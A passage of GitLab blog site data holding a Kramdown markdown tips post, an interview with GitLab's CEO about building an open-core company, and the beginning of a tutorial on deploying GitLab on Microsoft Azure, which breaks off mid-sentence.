tricks to have more freedom with it, this post is for you.\n\nThe markdown engine we use for [about.GitLab.com] is [Kramdown], and that is the one\nwe'll be referring to on this post.\n\n**Note:** We assume you already know what a markdown engine is and how it is applied to a website.\n{: .note}\n\n\u003C!-- more -->\n\n----\n\n## On this post\n{: .no_toc}\n\n- TOC\n{:toc}\n\n----\n\n## Our Markdown Guide\n\nLast week a lot of [people were happy][news] for our [Handbook] being open source, as we explained\nin details on the post \"[Our Handbook is open source: here's why][handbook-post]\".\nEvery GitLab Team member does touch our website, starting on his or her first weeks,\nas part of the onboarding tasks.\nDoesn't matter if he or she is an advanced programmer or never have seen an HTML code before,\ncollaborating is the key for making sure we are all on the same side. And we love it!\n\nOne of our Handbook pages is a full [Markdown Guide][guide] for the markup\nthat we use in our website, generated by [Middleman].\nIt brings a lot of details on how to use Kramdown for writing content.\nEvery markdown page of this website, which is an [open\nsource project][www-GitLab-com] available for peeking and contributing, can use any\nof the rules explained there. This April we changed the markdown engine from RDiscount to\nKramdown, and not everybody in our Team knew the new \"magical\" stuff we could use from this change. That's\nwhy we decided that writing a guide would be useful for those already used to markdown, and\nhelpful for those completely new to it.\n\n## Why Kramdown\n\nPerhaps your first question will be something like \"okay, why is Kramdown so special?\". My first\nexperience with markdown was when I first used a [Static Site Generator][SSGs], Jekyll. Coming from\nprevious experiences in web development on PHP and HTML, the first thing I wanted to do to a\nmarkdown post was adding a class to a particular heading. When I googled for that, I was pretty\ndisappointed because apparently we aren't supposed to apply classes inline into markdown files.\nSo, I had to experiment a lot until I got the desired result: add some color to my heading.\n\nAfter trying a lot of new tweaks, and digging through the web for answers that insisted on not coming, I finally\nfound out that with Kramdown, yes, I could do a lot of things. And finally I could apply some inline classes\nthrough my posts and have my blue headings when I wanted them blue. But at that time, I hadn't noticed\nthat we could do some really great magic with it, and that's what I'm sharing with you in this post.\n\n## The magic\n\nWe could say that the Kramdown magic concentrates to the following syntax: `{: something}`.\nThis little devil is the basis of a lot of awesome resources.\n\nLet's go over a few of them now, but you'll find a lot more in our [Markdown Guide][guide].\n\n## Classes, IDs and Attributes\n\n{::options parse_block_html=\"true\" /}\n\nLet's start with something classic, as the ability of [applying CSS classes, custom IDs, and custom\nattributes][classes] to the elements.\n\n### Applying classes\n\nIf you think of any CSS class, what comes into your mind first? I suppose it's something like:\n\n```css\n.blue {\n  color: blue;\n}\n```\n\nOkay, we have a `.blue` class. Let's say once in a while we want a blue paragraph or a blue heading. Just do:\n\n```md\nThis is a paragraph that for some reason we want blue.\n{: .blue}\n```\n\nAnd of course, the output will be:\n\n\u003Cdiv class=\"panel panel-info\">\n**Output**\n{: .panel-heading}\n\u003Cdiv class=\"panel-body\">\nThis is a paragraph that for some reason we want blue.\n{: .blue}\n\u003C/div>\n\u003C/div>\n\nAnd if we want a blue heading, we do exact the same thing:\n\n```md\n#### A blue heading\n{: .blue}\n```\n\nAnd the output is going to behave as we expect it to:\n\n\u003Cdiv class=\"panel panel-info\">\n**Output**\n{: .panel-heading style=\"margin-bottom:10px\"}\n\u003Cdiv class=\"panel-body\">\n#### A blue heading\n{: .blue .no_toc}\n\u003C/div>\n\u003C/div>\n\nWhat if I want to apply two classes at the same time?\n\n```md\nA blue and bold paragraph.\n{: .blue .bold}\n```\n\nAnd the output will be as expected:\n\n\u003Cdiv class=\"panel panel-info\">\n**Output**\n{: .panel-heading style=\"margin-bottom:10px\"}\n\u003Cdiv class=\"panel-body\">\nA blue and bold paragraph.\n{: .blue .bold}\n\u003C/div>\n\u003C/div>\n\nAs simple as that! The markup is simple and intuitive.\n\nNow, guess what, we can do exactly the same for IDs!\n\n### Custom IDs\n\nKramdown itself will append an ID for each heading, automatically. The ID will be all the words\nin the heading together, connected by dashes. For the example above, \"A blue heading\", the HTML output ID\nwill be `a-blue-heading`:\n\n```html\n\u003Ch4 class=\"blue\" id=\"a-blue-heading\">A blue heading\u003C/h4>\n```\n\nLet's say we want the ID called `blue-h`:\n\n```md\n#### A blue heading\n{: .blue #blue-h}\n```\n\nWill produce exactly what it's meant to (a blue heading with the custom ID):\n\n```html\n\u003Ch4 class=\"blue\" id=\"blue-h\">A blue heading\u003C/h4>\n```\n\nSo, the output would be:\n\n\u003Cdiv class=\"panel panel-info\">\n**Output**\n{: .panel-heading style=\"margin-bottom:10px\"}\n\u003Cdiv class=\"panel-body\">\n#### A blue heading\n{: .blue .no_toc #blue-h}\n\u003C/div>\n\u003C/div>\n\nNote that we can attribute both class and ID in one markup, as in `{: .class #custom-id}`. But we can use\njust one of them too: `{: .class}` or `{: #custom-id}`.\n{: .alert .alert-warning}\n\nInteresting, isn't it?\n\n### Custom Attributes\n\nYes, we can go even further and apply any _key/value_ pair we need:\n\n```md\nAn example of key/value pair\n{: .class #id key=\"value\"}\n```\n\nWe can use them, for example, for quickly applying general styles:\n\n```\n#### A simple example\n{: #custom-id style=\"margin-top:0\"}\n```\n\nBut they are specially useful for links, as in:\n\n```md\n[text][identifier]{: #custom-id key=\"value\"}\n```\n\nThis way we can call a JavaScript function, for example:\n\n```md\n[CLICK ME][identifier]{: #custom-id onclick=\"myJsFunc();\"}\n\n\u003Cscript type=\"text/javascript\">\n  function myJsFunc() {\n  var answer = confirm (\"Please click on OK to continue.\")\n  if (answer)\n  window.location=\"#\";\n  }\n\u003C/script>\n```\n\n\u003Cdiv class=\"panel panel-info\">\n**Output**\n{: .panel-heading}\n\u003Cdiv class=\"panel-body\">\n[CLICK ME][identifier]{: #custom-id onclick=\"myJsFunc();\"}\n\n\u003Cscript type=\"text/javascript\">\nfunction myJsFunc() {\nvar answer = confirm (\"Please click on OK to continue.\")\nif (answer)\nwindow.location=\"#\";\n}\n\u003C/script>\n\u003C/div>\n\u003C/div>\n\n----\n\n## Table of Contents (ToC)\n\nA ToC is so awesome and easy to produce. Have you noticed [our ToC](#on-this-post)\non this post? It's generated automatically by Kramdown with this simple markup:\n\n```md\n- TOC\n{:toc}\n```\n\nAll the file headings will be all automatically included in the ToC, except for those we don't want there.\nFor these, we apply a class called `no_toc`, and Kramdown will respect our will:\n\n```md\n#### This heading will not be included in the ToC.\n{: .no_toc}\n```\n\nAnd of course, we can make the ToC an ordered list instead of unordered:\n\n```md\n1. TOC\n{:toc}\n```\n\nAwesome, isn't it?\n\n----\n\n## HTML Blocks\n\nWhenever we need HTML blocks, we can use them freely!\n\n```html\n\u003Cdiv>\n  \u003Cp>Hello World\u003C/p>\n\u003C/div>\n```\n\nIn our [Marketing Handbook] you will find plenty of them.\n\n### Font Awesome\n\n[Font Awesome] is a good use-case for HTML blocks within markdown files.\n\nCheck this!\n\n```html\nWe \u003Ci class=\"fas fa-heart\" aria-hidden=\"true\" style=\"color:#c7254e\">\u003C/i> GitLab!\n```\n\n\u003Cdiv class=\"panel panel-info\">\n**Output**\n{: .panel-heading style=\"margin-bottom:10px\"}\n\u003Cdiv class=\"panel-body\">\nWe \u003Ci class=\"fas fa-heart\" aria-hidden=\"true\" style=\"color:#c7254e\">\u003C/i> GitLab!\n\u003C/div>\n\u003C/div>\n\n### Iframes\n\nWe can embed anything within `\u003Ciframe>` tags, such as [YouTube and Vimeo videos][videos],\nGoogle and OneDrive [documents][docs] and anything else available in iframes:\n\n```html\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/NoFLJLJ7abE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n```\n\nWe are using the class `video_container` to make it [responsive].\n\n\u003Cdiv class=\"panel panel-info\">\n**Output**\n{: .panel-heading style=\"margin-bottom:10px\"}\n\u003Cdiv class=\"panel-body\">\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/NoFLJLJ7abE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C/div>\n\u003C/div>\n\n### CodePen\n\n[CodePens] are really good for some cases, when you want to display codes and results, for example. Check this cute dog,\ncreated with HTML and Sass:\n\n```html\n\u003Cp data-height=\"431\" data-theme-id=\"dark\" data-slug-hash=\"OXzjLL\" data-default-tab=\"html,result\" data-user=\"virtuacreative\" data-embed-version=\"2\" class=\"codepen\">See the Pen \u003Ca href=\"http://codepen.io/virtuacreative/pen/OXzjLL/\">Dog\u003C/a> by Virtua Creative (\u003Ca href=\"http://codepen.io/virtuacreative\">@virtuacreative\u003C/a>) on \u003Ca href=\"http://codepen.io\">CodePen\u003C/a>.\u003C/p>\n\u003Cscript async src=\"//assets.codepen.io/assets/embed/ei.js\">\u003C/script>\n```\n\n\u003Cp data-height=\"431\" data-theme-id=\"dark\" data-slug-hash=\"OXzjLL\" data-default-tab=\"html,result\" data-user=\"virtuacreative\" data-embed-version=\"2\" class=\"codepen\">See the Pen \u003Ca href=\"http://codepen.io/virtuacreative/pen/OXzjLL/\">Dog\u003C/a> by Virtua Creative (\u003Ca href=\"http://codepen.io/virtuacreative\">@virtuacreative\u003C/a>) on \u003Ca href=\"http://codepen.io\">CodePen\u003C/a>.\u003C/p>\n\u003Cscript async src=\"//assets.codepen.io/assets/embed/ei.js\">\u003C/script>\n\n----\n\n## Mix HTML with Markdown\n\nYes, we definitely can do this! We need to add the following markup to the markdown document before mixing up\nHTML and markdown:\n\n```md\n{::options parse_block_html=\"true\" /}\n```\n\nAnd we can close it any time, if necessary:\n\n```md\n{::options parse_block_html=\"false\" /}\n```\n\nThis is going to make this:\n\n```html\nSomething in **markdown**.\n\n\u003Cp>Then an HTML tag with crazy **markup**!\u003C/p>\n```\n\nTo be displayed like this:\n\n\u003Cdiv class=\"panel panel-info\">\n**Output**\n{: .panel-heading style=\"margin-bottom:10px\"}\n\u003Cdiv class=\"panel-body\">\nSomething in **markdown**.\n\u003Cp>Then an HTML tag with crazy **markup**!\u003C/p>\n\u003C/div>\n\u003C/div>\n\nBlue boxes, like this one above, used to [display the outputs][boxes] on this post, were generated with this resource.\n\n----\n\n## Styles\n\nOne of the most useful features is the ability to add `\u003Cstyle>` tags to our markdown file too!\nWe can do that for simply styling our web page without affecting the entire site. Just go on and add the\ntag to any part of your markdown:\n\n```html\n\u003Cstyle>\n.blue {\n  color: blue;\n}\n.bold {\n  font-weight: bold;\n}\n\u003C/style>\n```\n\nThis tag was applied to this very document to exemplify this case, also to help with the classes described\n[earlier in this post](#applying-classes).\n\n----\n\n## Conclusion\n\nThere is a lot more you can do, mix, and bring together using [Kramdown]. It's awesome! Check out\nour [Markdown Guide][guide] for more resources, examples and applications and use your creativity to create\nbeautiful posts, with great styles!\n\nAnything else you know of and is not in our [Guide]? Any new magic?\nAny trick? Please [contribute] by submitting an [MR] to the\n[source file]. Your collaboration is much appreciated.\n\nHappy markdowning!\n\nFollow [@GitLab] and stay tunned for the next post!\n\n\u003C!-- identifiers -->\n\n[about.GitLab.com]: /\n[@GitLab]: https://twitter.com/GitLab\n[boxes]: https://handbook.gitlab.com/docs/markdown-guide/\n[classes]: https://handbook.gitlab.com/docs/markdown-guide/\n[CodePens]: https://codepen.io\n[contribute]: https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/CONTRIBUTING.md\n[docs]: https://handbook.gitlab.com/docs/markdown-guide/#embed-documents\n[font awesome]: http://fontawesome.io/\n[guide]: https://handbook.gitlab.com/docs/markdown-guide/\n[Handbook]: https://handbook.gitlab.com/\n[handbook-post]: /blog/our-handbook-is-open-source-heres-why/\n[identifier]: #\n[Kramdown]: http://kramdown.gettalong.org/\n[Marketing Handbook]: https://handbook.gitlab.com/handbook/marketing/\n[Middleman]: https://middlemanapp.com/\n[mr]: https://docs.gitlab.com/ee/user/project/merge_requests/creating_merge_requests.html \"Merge Request\"\n[news]: https://news.ycombinator.com/item?id=12091638\n[responsive]: https://css-tricks.com/NetMag/FluidWidthVideo/Article-FluidWidthVideo.php\n[SSGs]: /blog/ssg-overview-gitlab-pages-part-2/\n[videos]: https://handbook.gitlab.com/docs/markdown-guide/#videos\n[www-GitLab-com]: https://gitlab.com/gitlab-com/www-gitlab-com\n[source file]: https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/source/handbook/markdown-guide/index.html.md\n\n\u003Cstyle>\n.blue {\n  color: blue !important;\n}\n.bold {\n  font-weight: bold;\n}\n\u003C/style>\n",{"slug":37845,"featured":6,"template":678},"markdown-kramdown-tips-and-tricks","content:en-us:blog:markdown-kramdown-tips-and-tricks.yml","Markdown Kramdown Tips And Tricks","en-us/blog/markdown-kramdown-tips-and-tricks.yml","en-us/blog/markdown-kramdown-tips-and-tricks",{"_path":37851,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37852,"content":37857,"config":37862,"_id":37864,"_type":16,"title":37865,"_source":17,"_file":37866,"_stem":37867,"_extension":20},"/en-us/blog/building-an-open-source-company-interview-with-gitlabs-ceo",{"title":37853,"description":37853,"ogTitle":37853,"ogDescription":37853,"noIndex":6,"ogImage":37854,"ogUrl":37855,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37855,"schema":37856},"Building an Open Source Company: Interview with GitLab's CEO","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684717/Blog/Hero%20Images/team_gitlab.png","https://about.gitlab.com/blog/building-an-open-source-company-interview-with-gitlabs-ceo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building an Open Source Company: Interview with GitLab's CEO\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Chen\"}],\n        \"datePublished\": \"2016-07-14\",\n      }",{"title":37853,"description":37853,"authors":37858,"heroImage":37854,"date":37860,"body":37861,"category":8943},[37859],"Jason Chen","2016-07-14","\n\nPlease note that while we think of ourselves as an open source company it would be more accurate to call it an open core company since we ship both the open source GitLab Community Edition and the close source GitLab Enterprise Edition. Thanks to paxcoder for [pointing this out on Hacker News](https://news.ycombinator.com/item?id=12129626).\n\n[GitLab] began as a labor of love from [Dmitriy Zaporozhets] and [Valery Sizov], who built the first version together in 2011. Like many open source authors, they were only able to work on the project part time. [Sid Sijbrandij] joined forces a year later and created [GitLab.com], the first SaaS offering and first experiment with monetization.\n\n\u003C!-- more -->\n\nToday GitLab is a model for open source sustainability and [stewardship]. It is being used in over 100,000 organizations including RedHat, NASA, Intel, Uber, to name just a few. Large organizations buy [enterprise licenses], sustaining and growing both the company and the free open source project. GitLab now has over 90 employees, including Sid and Dmitriy who serve as CEO and CTO, respectively.\n\n**There has been a lot of discussion recently around long term sustainability in open source. Naturally, some of these conversations have turned towards companies. GitLab is one of the most successful examples of a company born out of and supporting an open source project. How do you think about open source in GitLab’s DNA and other similar open source companies?**\n{: .alert .alert-info}\n\n**Sid:** I think people are realizing more and more that open source is not just a license. It is also a way your company behaves. I think if you want to get the benefits of open source, it’s better to have an open development process. Everyone can see what’s going on all the time - what features are planned, who’s working on them, what was the decision process of how they would be implemented. We sometimes then receive comments on our issue tracker from real users explaining that a feature, given the way we designed and planned to build it, does not address their need. We learn from that and we get a better end product.\n\nWe took that a bit further at GitLab. We also just try to be very open as a company. Our complete company handbook - with many, many pages describing everything from sales, marketing, infrastructure - is completely open. We’re even going so far that our issue trackers for finance and marketing are open as well, so you can see what they are working on too. I’m not sure this is necessary, but being open is something we enjoy. It helps us be better and helps attract great new people to work with us.\n\n**For open source projects that have gone down the company path, do you think open source itself is enough of a differentiator to be competitive against a similar proprietary product?**\n{: .alert .alert-info}\n\n**Sid:** I don’t think open source by itself is enough. Open source is wind in your back. It’s something that users and customers prefer. It’s a great go-to market, so it makes it a lot easier for people to adopt. It allows you, compared to previous enterprise software plays, to focus more on building a great product, and a bit less than previously on building a sales force. You’ll always need both the product and sales and marketing to be able to build a sustainable company.\n\nWe think GitLab is already the best product but we want to keep building to make it even better and communicate its value. GitLab is now the most popular solution for single-tenant installations. Our immediate goal is most revenue for single-tenant installations. Then we want to focus on private repositories through SaaS, then maybe someday public repositories. We’re not going to get there by just the power of open source.\n\n**How did GitLab’s business model come about?**\n{: .alert .alert-info}\n\n**Sid:** At first I thought SaaS would be the sustainable business model for GitLab. People were using it, but mostly with smaller teams, not larger teams. The larger organizations were all running single tenant installations in house. They had a lot of feature requests so we kind of pivoted towards serving them better. Listening to those customers worked out really well. We built what they needed but shipped most of the features to everyone. The ones that were more appropriate for very large organizations with 100+ users, we put them into our proprietary enterprise product.\nWe then looked at the SaaS product and realized most of the revenue is going to come from single-tenant installations, so we decided to make the GitLab.com totally free - no restrictions on the number of private projects or collaborators and free CI.\n\n**How did GitLab figure out its pricing?**\n{: .alert .alert-info}\n\n**Sid:** By making lots of mistakes. The common mistake that we’ve also made is that we priced too low. GitLab used to be $20/user/year, now it’s $40. I think it’s probably still on the low side.\n\n**At Salesforce, I was told by an SVP if 20% of your customers are not upset at you over pricing, you are leaving money on the table.**\n{: .alert .alert-info}\n\n**Sid:** I think we have very few. I actually can’t think of a customer that’s really upset at us for our pricing, so probably we’re leaving too much money on the table. The great thing is we can make it work right now and we’re always close to being cash flow positive. We give away a lot, but that also helps companies adopt a product quickly. If it’s great value for money, it will spread faster.\n\n**GitLab has a pretty impressive list of customers. How did they find out about GitLab? Did you do any marketing or outbound?**\n{: .alert .alert-info}\n\n**Sid:** No, nothing. They just found the open source project. If you wanted proper version control, single tenant, and open source, GitLab was and is the best option. We are just now beginning to do sales and hired three inbound SDRs and an outbound SDR Lead in the last two months, so we're just now starting to build those teams.\n\n**Does GitLab’s success with the on premise model challenge the conventional wisdom that everything, including the enterprise is moving to the cloud?**\n{: .alert .alert-info}\n\n**Sid:** Yeah, I think it challenges it a bit. We still believe in the cloud, as in computing infrastructure. I think most GitLab installations run on AWS. But if you look according to research, in 2019, 80 cents of every dollar spent on software will go to on premises or single tenant software.\n\nIt differs for the product as well. I think right now everybody has accepted a cloud CRM solution. But we see that, for various reasons, source control is one of the last movers. Sometimes it’s for security reasons - companies want to put it behind a VPN - and sometimes it’s for legal reasons - companies want to know exactly where it’s hosted, and who has access to it.\n\n**With so many of your users behind private installations, how do you get analytics and feedback from them?**\n{: .alert .alert-info}\n\n**Sid:** That’s hard. We don’t have a lot of data since GitLab doesn’t call home per se and we don’t want it to, as a good steward of the open source project. What GitLab does have is a version check. It shows you an image whether your version is up to date, out of date, or whether there’s a security problem with it. We receive those checks, so we can see what is out there in the wild, which helps a bit.\n\n**Do you have to rely on users asking for features then?**\n{: .alert .alert-info}\n\n**Sid:** Yeah, we want to make user feedback easier by having open issue tracking. Anything we do feature-wise, it’s all happening on our issue tracker. When a sales person is talking with a customer and they have a request, we’ll post a public issue about it. We won’t tell you who the customer is, but the issue will be linked in our CRM system so internally we can all see who it is and what the interaction is or reach out to the customer to get more information. We really try to make everything happen in public. Before we used to have internal and external issue trackers, and we found there was a lot of duplication. This way, whatever we’re making, we get the best input. We get to get input from our developers, from the community, from our sales people and sometimes customers actually engage on the issue tracker themselves too.\n\n**Has GitLab’s open source and SaaS offering been a good funnel into the enterprise offering?**\n{: .alert .alert-info}\n\n**Sid:** We actually crunched some numbers the other day, with some help of external people. We kind of expected our open source version to be a really good indicator of people getting the enterprise version. But it turned out that GitLab.com was an even better indicator. It was a lot more important than we thought as a go-to market and making people aware. Which is, for us, kind of nice, because we have e-mail addresses of the people using GitLab.com, so we can reach out to them. We don’t have that for people that download the community edition. So that finding was a relief to us.\n\n**How did you decide to take GitLab from the sustainable business path, onto the venture funded company track?**\n{: .alert .alert-info}\n\n**Sid:** In 2014, we had a customer that was using GitLab, who then switched to GitHub, not because they didn’t like it, but because somewhere up the corporate hierarchy, it was decided that the whole company should use GitHub.\n\nThey were super happy with GitLab, but they still had to switch. We were like “Oh, wow. This might happen with all our large customers,” because every company in the world is going to standardize on one solution within the company. We want that to be GitLab. So we need to grow a lot faster to be able to convince those people at the top that make the decisions - the CIOs. And to reach them we need sales and marketing. We don’t have 10 years to do this, this standardization will happen in the next three years.\n\nThat’s why we decided to apply to YCombinator to grow faster. I think that’s been a good decision. By March of 2015, we were 9 people and fit into one large car. Now we’re 93 people and it takes two buses. We’ve since won back this customer, so we’re very glad about that. We don’t want to leave any customer behind. Our mission right now is to make sure all those large enterprises, who are probably using a couple of solutions internally right now, standardize on GitLab.\n\n**It has been said that lot of software markets is winner takes all. Do you think, in the git hosting space, there will be a winner takes all?**\n{: .alert .alert-info}\n\n**Sid:** I think there’s room for multiple solutions. I think most companies will standardize on one thing for the whole company. I’ve talked to a few venture capitalists, and they say it’s common that 70% of the profit in the market goes to **#1**. Then **#2** has something, and number **3** ends up with very little.\n\nAs soon as you take VC money, you want to make sure you end up as **#1**. Also, we think it makes a lot of sense for developer collaboration software to be open source. And so we want people to use GitLab.\n\nWe’re excited. We think we have a great product, and we’re even more excited of what’s coming out next month and the month after that. We just want to make it a little bit better every month. That served us well so far, and that’s what we’re going to continue to do. We think there’s a big advantage to having the whole flow in one product, so we’re going to try to make the market aware of that.\n\n_This post was originally posted on [medium.com] by [Jason Chen] himself._\n\n\u003C!-- Identifiers -->\n\n[Jason Chen]: https://medium.com/@jhchen\n[medium.com]: https://medium.com/@jhchen/290180d172da#.niptat9rb\n[GitLab]:\n[GitLab.com]: https://gitlab.com/users/sign_in\n[Dmitriy Zaporozhets]: https://twitter.com/dzaporozhets\n[Valery Sizov]: https://twitter.com/Sizov_Valeriy\n[Sid Sijbrandij]: https://twitter.com/sytses\n[stewardship]: /company/stewardship/#our-stewardship-of-gitlab-ce\n[enterprise licenses]: /pricing/\n",{"slug":37863,"featured":6,"template":678},"building-an-open-source-company-interview-with-gitlabs-ceo","content:en-us:blog:building-an-open-source-company-interview-with-gitlabs-ceo.yml","Building An Open Source Company Interview With Gitlabs Ceo","en-us/blog/building-an-open-source-company-interview-with-gitlabs-ceo.yml","en-us/blog/building-an-open-source-company-interview-with-gitlabs-ceo",{"_path":37869,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37870,"content":37876,"config":37881,"_id":37883,"_type":16,"title":37884,"_source":17,"_file":37885,"_stem":37886,"_extension":20},"/en-us/blog/how-to-setup-a-gitlab-instance-on-microsoft-azure",{"title":37871,"description":37872,"ogTitle":37871,"ogDescription":37872,"noIndex":6,"ogImage":37873,"ogUrl":37874,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37874,"schema":37875},"How to Set Up a GitLab Instance on Microsoft Azure","Learn how to set up a GitLab Instance on Microsoft Azure with this tutorial","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672257/Blog/Hero%20Images/gitlab-on-azure-cover.jpg","https://about.gitlab.com/blog/how-to-setup-a-gitlab-instance-on-microsoft-azure","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to Set Up a GitLab Instance on Microsoft Azure\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Wentzel\"}],\n        \"datePublished\": \"2016-07-13\",\n      }",{"title":37871,"description":37872,"authors":37877,"heroImage":37873,"date":37879,"body":37880,"category":734},[37878],"Dave Wentzel","2016-07-13","\n\n> Note: This article has been moved to [our documentation](https://docs.gitlab.com/ee/install/azure/index.html) so it can be more easily updated. We recommend using [the Azure installation documentation](https://docs.gitlab.com/ee/install/azure/index.html).\n\nGitLab is a scalable, self-managed Git repository \"ecosystem\". It is available as\na free [Community Edition][ce] and as a subscription-based\n[Enterprise Edition][ee]. If you want to host your own full-featured source\ncontrol system, under your control, then you should consider GitLab. Spinning up\nyour own instance can be done in just a few hours using the\n[Omnibus packages](/blog/using-omnibus-gitlab-to-ship-gitlab/).\n\nBut what if you don't want to invest that much time to see if GitLab is\nfor you? Does Linux scare you? Do you want to try GitLab quickly without\na big up-front investment? Need someone else to handle your GitLab\nadministration? [Microsoft Azure] may be the answer.\n\n**Note:** we assume you are familiar with GitLab and you wish to have your own\nGitLab instance on-premises, working in a Virtual Machine.\n{: .note}\n\n\u003C!-- more -->\n\n----\n\n### What's in this tutorial?\n{: .no_toc}\n\n- TOC\n{:toc}\n\n----\n\n## GitLab on Azure\n\nAzure is Microsoft's business cloud and GitLab is a pre-configured\noffering on the Azure Marketplace. Hopefully you aren't surprised to\nhear that [Microsoft and Azure have embraced][ms-open]\nopen source software like Ubuntu, Red Hat Enterprise Linux, and GitLab.\nYou can now spin up a pre-configured GitLab VM in just a few clicks.\nLet's get started.\n\n## Getting started\n\nFirst you need an account on Azure. There are three ways to do this:\n\n- If your company (or you) already has an account then you are ready to go!\n- You can [open an Azure account for free][free-trial]. You get credits you can\n  use to try out paid Azure services, and even after you've used them you can\n  still keep the account and use the free Azure services. Your credit card won't\n  be charged, unless you decide to pay-as-you-go. This is a great way to try out\n  Azure and cloud computing.\n- If you have an MSDN subscription you can [activate your Azure subscriber benefits][msdn-benefits].\n  Your MSDN subscription gives you recurring Azure credits every month. Why not\n  put those credits to use and try out GitLab!\n\n## Working with Azure\n\nNow that you have an account we can get started. When you log in to\nAzure using [portal.azure.com] you will see\nthe Dashboard which gives you a quick overview of Azure resources:\n\n![Microsoft Azure Dashboard](https://about.gitlab.com/images/blogimages/gitlab-azure/azure-welcome-screen.png)\n\nFrom the Dashboard you can build VMs, create SQL Databases, author\nwebsites, and perform lots of other cloud tasks. Today we want to try\nGitLab which is part of the [Azure Marketplace][marketplace]. The\nMarketplace is an online store for pre-configured applications and\nservices optimized for the cloud by software vendors like GitLab. Click\non the **+ New** icon and in the search box type \"GitLab\":\n\n![Search for GitLab on Azure Marketplace](https://about.gitlab.com/images/blogimages/gitlab-azure/azure-dashboard-search-gitlab.png)\n\n## Create new VM\n\nAzure Marketplace offerings are always changing but let's click \"**GitLab\nCommunity Edition**\". [GitLab CE][ce] is freely available under the MIT Expat\nLicense. A new \"blade\" window will pop-out, where you can read about the\noffering.\n\n![Search for GitLab on Azure Marketplace](https://about.gitlab.com/images/blogimages/gitlab-azure/azure-dashboard-select-gitlab.png)\n\nClick \"**Create**\" and you will be presented with the \"Create virtual machine\"\nblade.\n\n### Basics\n\nThe first thing we need to configure are the basic settings of the underlying\nUbuntu 14.04.4 VM. On the screenshot below, I set the hostname to \"GitLab-CE\" and I\nchose Password authentication to keep things simple. This is the password that we will use later to SSH into the VM, so make sure it's a strong password/passphrase.\nAlternatively you can choose to paste your SSH public key so that you don't type\nyour password every time. A \"Resource group\" is a way to group related resources\ntogether for easier administration. I named mine \"GitLab-CE-Azure\", but your\nresource group can have the same name as your VM. Click OK when ready.\n\n![GitLab on Azure - Basic settings](https://about.gitlab.com/images/blogimages/gitlab-azure/azure-create-vm-basics.png)\n\n### Size\n\nThe next screen reviews the Pricing Tiers, which are the VM sizes. I\nchose a \"**D1 Standard**\" VM, which meets the minimum system requirements to\nrun a small GitLab environment. When ready click 'Select'.\n\n\u003Ci class=\"fas fa-info-circle\" aria-hidden=\"true\" style=\"color: rgb(49, 112, 143);\">\u003C/i>\nBy default, only the recommended tiers are shown. To choose a larger one click\non 'View all'.\n{: .alert .alert-info}\n\n![Choose a VM size for GitLab on Azure](https://about.gitlab.com/images/blogimages/gitlab-azure/azure-create-vm-size.png)\n\n### Settings\n\nOn the next blade, you are called to configure the Storage, Network and\nAvailability settings. Just review them and take the defaults which are sufficient\nfor test-driving GitLab. Hit OK when done.\n\n![Configure various settings](https://about.gitlab.com/images/blogimages/gitlab-azure/azure-create-vm-settings.png)\n\n### Summary\n\nOn the summary page you will have the chance to review your choices so far. If\nyou change your mind about something, you can go back to the previous steps and\namend your choice. Hit OK when ready.\n\n![Azure create VM - Summary](https://about.gitlab.com/images/blogimages/gitlab-azure/azure-create-vm-summary.png)\n\n### Buy\n\nThis is the last step and you are presented with the price/hour your new VM\nwill cost. You can see that we are billed only for the VM at this page, GitLab\nCE is a separate tile which is free to use. Go on and click **Purchase** for\nthe deployment to begin.\n\n![Azure create VM - Summary](https://about.gitlab.com/images/blogimages/gitlab-azure/azure-create-vm-buy.png)\n\n### Deployment page\n\nAt this point, Azure takes over and begins deploying your GitLab Ubuntu VM. You\ncan scroll down to see the deployment process which takes a few minutes.\n\n![Azure deploying GitLab](https://about.gitlab.com/images/blogimages/gitlab-azure/azure-deploy-vm.png)\n\nWhen GitLab environment is ready, you will see the management blade for your\nnew VM. This is basically your VM dashboard where you can configure many things\nlike the DNS name of your instance.\n\n![GitLab VM settings](https://about.gitlab.com/images/blogimages/gitlab-azure/azure-deploy-gitlab-settings.png)\n\n### Set up a domain name\n\nThe public IP address that the VM uses is shown in the 'Essentials' blade. Click\non it and select **Configuration** under the 'General' tab. Enter a friendly\nDNS name for your instance in the DNS name label field.\n\n![Setting up a DNS name label for your IP](https://about.gitlab.com/images/blogimages/gitlab-azure/azure-gitlab-dns.png)\n\nIn the screenshot above I have set my DNS name to\n`gitlab-ce-test.xxx.cloudapp.azure.com`. Hit **Save** for the changes to take\neffect.\n\n\u003Ci class=\"fas fa-info-circle\" aria-hidden=\"true\" style=\"color: rgb(49, 112, 143);\">\u003C/i>\nIf you want to use your own domain name, add a DNS `A` record into your\ndomain registrar pointing to the IP address displayed given by Azure.\n{: .alert .alert-info}\n\n## Connecting to GitLab\n\nUse the IP address or the domain name you set up from the previous step to\nvisit GitLab on your browser.\n\nThe first time you hit the URL, you will be asked to set up a new password\nfor the administrator user that GitLab has created for you.\n\n![GitLab first screen - choose password for admin user](https://about.gitlab.com/images/blogimages/gitlab-azure/gitlab-ce-first-access.png)\n\nOnce you change the password you will be redirected to login. Use `root` as the\nusername and the password you configured just before.\n\n![GitLab first screen - login admin user](https://about.gitlab.com/images/blogimages/gitlab-azure/gitlab-ce-first-login.png)\n\nAt this point you have a working GitLab VM running on Azure. Congratulations!\n\n## Creating your first GitLab project\n\nYou can skip this section if you are familiar with Git and GitLab.\nOtherwise, let's create our first project. From the Welcome page click\n**New Project**.\n\n![Welcome to 